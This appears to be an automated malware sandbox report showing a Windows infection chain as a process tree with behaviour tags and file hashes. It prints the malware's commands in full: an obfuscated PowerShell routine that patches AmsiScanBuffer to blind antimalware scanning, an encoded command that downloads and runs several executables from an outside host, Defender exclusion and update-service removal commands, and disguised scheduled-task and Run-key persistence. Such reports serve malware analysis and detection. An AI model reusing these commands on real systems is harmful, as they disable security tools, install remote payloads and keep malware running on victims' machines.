'+[Char](101)+''+[Char](44)+'M'+[Char](97)+''+'n'+''+'a'+''+[Char](103)+''+[Char](101)+'d');$tpYNiEDLYZg.DefineMethod('In'+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+','+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+'l'+'o'+[Char](116)+',V'+'i'+'r'+[Char](116)+'u'+[Char](97)+''+[Char](108)+'',$uKxgoTFytI,$aIikSQsbnBAQKQ).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+''+[Char](101)+''+','+''+[Char](77)+'a'+[Char](110)+'a'+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $tpYNiEDLYZg.CreateType();}$aDUEjHbdXOmsS=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+'s'+'t'+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+'ic'+[Char](114)+'os'+[Char](111)+'ft.'+'W'+''+'i'+''+[Char](110)+'3'+[Char](50)+'.'+[Char](85)+''+'n'+''+[Char](115)+''+[Char](97)+'fe'+[Char](97)+''+[Char](68)+'U'+'E'+'jHb'+[Char](100)+''+[Char](88)+''+[Char](79)+'m'+[Char](115)+''+'S'+'');$UdNQnKieDOqGGs=$aDUEjHbdXOmsS.GetMethod(''+[Char](85)+''+'d'+'N'+[Char](81)+'n'+'K'+'i'+'e'+''+'D'+''+[Char](79)+''+[Char](113)+'GG'+'s'+'',[Reflection.BindingFlags]'P'+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+','+[Char](83)+''+'t'+''+'a'+''+'t'+''+[Char](105)+'c',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$oSDdIReQEuWnmuVWTmk=DBZGTxSkMVoA @([String])([IntPtr]);$MmiDOhCTZDilIiWbrUIYNk=DBZGTxSkMVoA @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$rpBeefoNWHc=$aDUEjHbdXOmsS.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+'M'+[Char](111)+''+'d'+''+[Char](117)+''+[Char](108)+'e'+[Char](72)+'a'+[Char](110)+''+'d'+'l'+[Char](101)+'').Invoke($Null,@([Object]('k'+[Char](101)+''+'r'+'n'+[Char](101)+''+[Char](108)+''+[Char](51)+'2'+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'')));$wLPkULjnzLxoGj=$UdNQnKieDOqGGs.Invoke($Null,@([Object]$rpBeefoNWHc,[Object](''+'L'+'o'+'a'+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+'b'+''+[Char](114)+''+[Char](97)+'ry'+[Char](65)+'')));$bHKOgCKxtOwQKVGwS=$UdNQnKieDOqGGs.Invoke($Null,@([Object]$rpBeefoNWHc,[Object]('Vi'+[Char](114)+''+'t'+''+'u'+'a'+'l'+''+[Char](80)+''+[Char](114)+''+[Char](111)+'te'+[Char](99)+''+[Char](116)+'')));$mzWBdAm=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($wLPkULjnzLxoGj,$oSDdIReQEuWnmuVWTmk).Invoke(''+[Char](97)+'ms'+[Char](105)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$lNUQaMyyheQCuctTk=$UdNQnKieDOqGGs.Invoke($Null,@([Object]$mzWBdAm,[Object](''+'A'+''+[Char](109)+'s'+[Char](105)+'S'+[Char](99)+''+'a'+''+[Char](110)+''+[Char](66)+''+'u'+'f'+'f'+''+'e'+''+[Char](114)+'')));$ctsSXkPQzq=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($bHKOgCKxtOwQKVGwS,$MmiDOhCTZDilIiWbrUIYNk).Invoke($lNUQaMyyheQCuctTk,[uint32]8,4,[ref]$ctsSXkPQzq);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$lNUQaMyyheQCuctTk,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($bHKOgCKxtOwQKVGwS,$MmiDOhCTZDilIiWbrUIYNk).Invoke($lNUQaMyyheQCuctTk,[uint32]8,0x20,[ref]$ctsSXkPQzq);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+'F'+[Char](84)+''+[Char](87)+''+[Char](65)+''+[Char](82)+'E').GetValue(''+[Char](100)+''+'i'+''+[Char](97)+'l'+[Char](101)+''+'r'+''+[Char](115)+''+'t'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1140 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4368
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1660
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1912
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:2416
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3436
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵PID:4392
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 820 -ip 8202⤵PID:3920
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 4768 -ip 47682⤵PID:4188
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:4624
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p1⤵PID:4668
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -s W32Time1⤵PID:3496
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:3968
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:2856
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵PID:4696
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:2460
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:1272
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4012
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3712
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3252
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:2876
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1028
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C:\Users\Admin\AppData\Local\Temp\9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe"C:\Users\Admin\AppData\Local\Temp\9f41b5085cd9d174d9f5fdda111c8bf1ffb1c7b4.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:820 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:1276 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AYwBjACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAeAB5AHEAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdQB0AGMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgBlAGsAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGwAbQBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcgBoAHMAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdAB2AGQAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBiAGMAagAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYwBvAG4AbgBlAGMAdAAyAG0AZQAuAGgAbwBwAHQAbwAuAG8AcgBnAC8AdwBvAHcALwAxAC8AMgAvADMALwA0AC8ANQAvADYALwA3AC8AQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwAsACAAPAAjAHMAbQBpACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAeAB5AGYAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdABqAHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApACkAPAAjAHIAegB1ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACwAIAA8ACMAdAB1AGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAGwAbgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB0AGQAawAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAKQA8ACMAcAB4AHgAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAeQBzAEEAcABwAC4AZQB4AGUAJwAsACAAPAAjAGQAawBjACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQBkAGQAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdwB5AHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwB5AHMAQQBwAHAALgBlAHgAZQAnACkAKQA8ACMAZgBmAHgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYwBuAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHkAdwBwACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAG4AZQB3ADIALgBlAHgAZQAnACkAPAAjAHcAaABrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHkAagB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBhAHgAagAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBDADQATABvAGEAZABlAHIALgBlAHgAZQAnACkAPAAjAHIAawBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAdQB6ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBnAHUAaQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAPAAjAG0AegBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAegB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB3AHUAbAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAHkAcwBBAHAAcAAuAGUAeABlACcAKQA8ACMAcwBhAGcAIwA+AA=="4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1524 -
C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4768 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:548
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4768 -s 2566⤵
- Program crash
PID:4412
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C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Executes dropped EXE
PID:3432
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:716
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2272 -
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"6⤵
- Creates scheduled task(s)
PID:4024
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 820 -s 2523⤵
- Program crash
PID:3420
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3152
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2348 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:4456
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:2068
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:1276
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:4732
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:4992
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:1752
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:1308
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:1036
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:2624
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:2608
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3692
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:2304
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2832
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C:\Windows\system32\sihost.exesihost.exe1⤵PID:2744
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2508
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵PID:2452
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2424
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2404
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵PID:2392
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2332
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2324
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2124
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:1504
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2044
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1920
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1828
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1816
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1796
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1760
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s FontCache1⤵PID:1624
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1612
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1564
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1508
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1428
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1412
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1372
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1300
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1232
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1220
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1188
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1056
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1048
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:736
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:952
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:668
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:616
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{bf4afcbf-3044-4eae-a006-994f026950e4}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4712
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:1212
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C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵PID:4480
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
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Filesize
226B
MD5916851e072fbabc4796d8916c5131092
SHA1d48a602229a690c512d5fdaf4c8d77547a88e7a2
SHA2567e750c904c43d27c89e55af809a679a96c0bb63fc511006ffbceffc2c7f6fb7d
SHA51207ce4c881d6c411cac0b62364377e77950797c486804fb10d00555458716e3c47b1efc0d1f37e4cc3b7e6565bb402ca01c7ea8c963f9f9ace941a6e3883d2521
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Filesize
52KB
MD562b00bee5c192a3224c9d106f732488c
SHA114312cd3356e66e02484b4295ac2624a22c9b205
SHA2564478e5dfa024e0bd1ea82e1e1c8c990b2fe2cd23ff5a905a0ac179726feb634a
SHA512570e044b0cf2169a1d7816c9594125675533b5b072192db0bf1ee05f4b191545e0a9d4c7e4a884a0995efdd3011823eb375210c7a93ab0cae15fc62d013680ba
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Filesize
19KB
MD5b8afd0ceeb193b36e1c0f61eb0aaa95c
SHA16a7054dbe423221532727a24df50d22225d3cb55
SHA256aff5d0f6f0097121912f0d23211460da2ceba0437ae3bdc0d947bb843b354a2f
SHA512dadb5e10ed7151914be8bf459d352ad0c49a8edc3cdabed1b45d7835dd2c472bc830f0366ebbc984cb033ae255c21001e75934b1de4224cf7d3f14be5e065722
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Filesize
1KB
MD5c697637a9b17f577fccd7e83a5495810
SHA104e6054584786b88994b0e0a871562227fe2a435
SHA25654992c76969f661b605042ebdc73912dbc42e3f88aa6ffecb7191a598fc17164
SHA51266f85a03889786d2c910880bf32e9ea380740b665f11828d06acb03b6f63fb11be1d70e67acb3bc2118f2c35824919458ce7c85f6843c72a3e5ca44fadc0b3c0
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
455KB
MD5ee0ad7cc2a5976a5c658da52092977a9
SHA1c69b99d42a9f9886af74e6a75fd905a5d17d4792
SHA256f0cc93428ff55575086b843e642c33283067a980fc9cb1f17afc3559b101ff1b
